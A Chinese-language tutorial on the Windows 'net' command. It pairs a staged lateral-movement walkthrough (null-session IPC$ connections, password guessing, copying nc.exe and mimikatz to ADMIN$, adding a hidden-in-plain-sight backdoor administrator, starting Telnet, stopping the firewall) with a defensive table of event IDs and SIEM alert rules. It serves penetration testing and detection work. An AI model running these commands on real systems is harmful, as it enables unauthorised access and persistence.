net 是 Windows 網路管理的瑞士刀，子指令超過 20 種，涵蓋共用、使用者、群組、服務、時間、會話等核心功能。本文聚焦實戰高頻子指令，提供參數詳解、組合技巧與資安視角的攻防對照，助您從「會用」進階到「精通」。

核心子指令速查表

子指令	主要功能	典型語法	實戰用途
net view	列出網域/工作群組電腦或指定主機共用資源	net view \\192.168.1.10	資產發現、共用枚舉
net use	建立/移除網路磁碟機對應、IPC$ 空連線	net use z: \\IP\share /user:domain\user pass net use \\IP\IPC$ "" /u:""	側向移動、檔案上傳下載、空連線枚舉
net share	建立/刪除/查看本機共用資源	net share data=D:\Data /grant:Everyone,FULL net share admin$ /delete	資料分享、隱藏管理共用 (C$, ADMIN$, IPC$)
net user	本機使用者帳號管理	net user hacker P@ssw0rd /add net user hacker /delete	建立後門帳號、提權、克隆帳號
net localgroup	本機群組管理 (加入 Administrators 等)	net localgroup administrators hacker /add	權限提升、持久化
net start/stop	啟動/停止服務	net start Telnet net stop "Windows Firewall"	開啟遠端管理埠、關閉防火牆
net session	查看/中斷對本機的連線會話	net session \\IP /delete	踢除異常連線、偵測橫向移動
net time	查看/同步遠端主機時間	net time \\DC01 /set /yes	時間同步攻擊、定時任務協調
net config	顯示/設定服務組態 (如隱藏伺服器)	net config server /hidden:yes	隱藏主機、降低被發現機率

實戰組合拳：從枚舉到控制

階段 1：共用資源枚舉

net view                    # 列出網域/工作群組所有電腦
net view \\192.168.1.50     # 列出目標共用資源
# 輸出範例:
# 共用名稱   類型   註解
# DATA       Disk   資料分享
# ADMIN$     Disk   遠端管理
# IPC$       IPC    遠端 IPC

階段 2：建立 IPC$ 空連線 (匿名/弱口令)

net use \\192.168.1.50\IPC$ "" /u:""
# 成功 → 可進一步枚舉使用者、共用、註冊表、排程任務
# 失敗 → 目標已啟用「網路存取: 允許匿名 SID/名稱轉譯」= 停用

階段 3：嘗試具名連線 (密碼噴灌/暴力破解)

net use \\192.168.1.50\IPC$ "Password123" /user:Administrator
# 成功 → 獲得具名連線 Token，可進行後續操作

階段 4：對應磁碟機上傳工具/載荷

net use z: \\192.168.1.50\ADMIN$ /user:Administrator Password123
copy nc.exe z:\Windows\Temp\
copy mimikatz.exe z:\Windows\Temp\

階段 5：建立/提權帳號持久化

net user backdoor P@ssw0rd123 /add /expires:never /passwordchg:no
net localgroup administrators backdoor /add
# 遠端桌面登入、計劃任務、WMI 後門均可利用此帳號

階段 6：啟用關鍵服務擴大攻擊面

net start Telnet          # 開啟 TCP 23 明文遠端
net start "Remote Registry"  # 開啟遠端註冊表操作
net start Schedule        # 確保計劃任務服務運行 (配合 at/schtasks)

階段 7：清理痕跡

防禦視角：如何偵測與阻斷 net 濫用

偵測點	日誌/事件 ID	SIEM 規則範例
匿名/失敗 IPC$ 連線	Security 4624 (Logon Type 3), 4625	短時間大量 4625 + 來源 IP 集中 → 警示
新增本機管理員	Security 4728, 4732, 4756	非變更管理窗口新增 Administrators 成員 → 警示
服務異常啟動 (Telnet, Remote Registry)	System 7045, 7036	高風險服務狀態變更 → 立即告警
網路磁碟機對應異常	Security 5140, 5145	非辦公時間/非管理員 IP 對應 ADMIN$/C$ → 警示
net.exe 進程異常執行	Sysmon Event ID 1 (Process Create)	命令列含 net user /add, net localgroup /add, net use \\IP\IPC$ → 警示

現代替代方案

• PowerShell：Get-SmbShare, New-SmbMapping, Get-LocalUser, Add-LocalGroupMember, Get-Service — 物件化輸出、管線操作、遠端調用 (WinRM/SSH)。
• WMI/CIM：Get-CimInstance Win32_Share、Win32_UserAccount — 跨平台、無需 SMB 連線。
• 系統管理工具：Group Policy Preferences、SCCM/Intune、Ansible WinRM 模組 — 宣告式、可稽核、規模化。

總結

net 指令功能強大、無需安裝、跨版本相容，是 Windows 環境資產發現、滲透測試、事件回應的核心工具。熟練掌握 view, use, share, user, localgroup, start/stop, session, time, config 九大子指令，並理解其背後的 SMB/RPC/NTLM 協定機制，才能在攻防雙方視角游刃有餘。防禦端務必部署 Sysmon + SIEM 關聯分析，將 net 濺用行為納入基線偵測。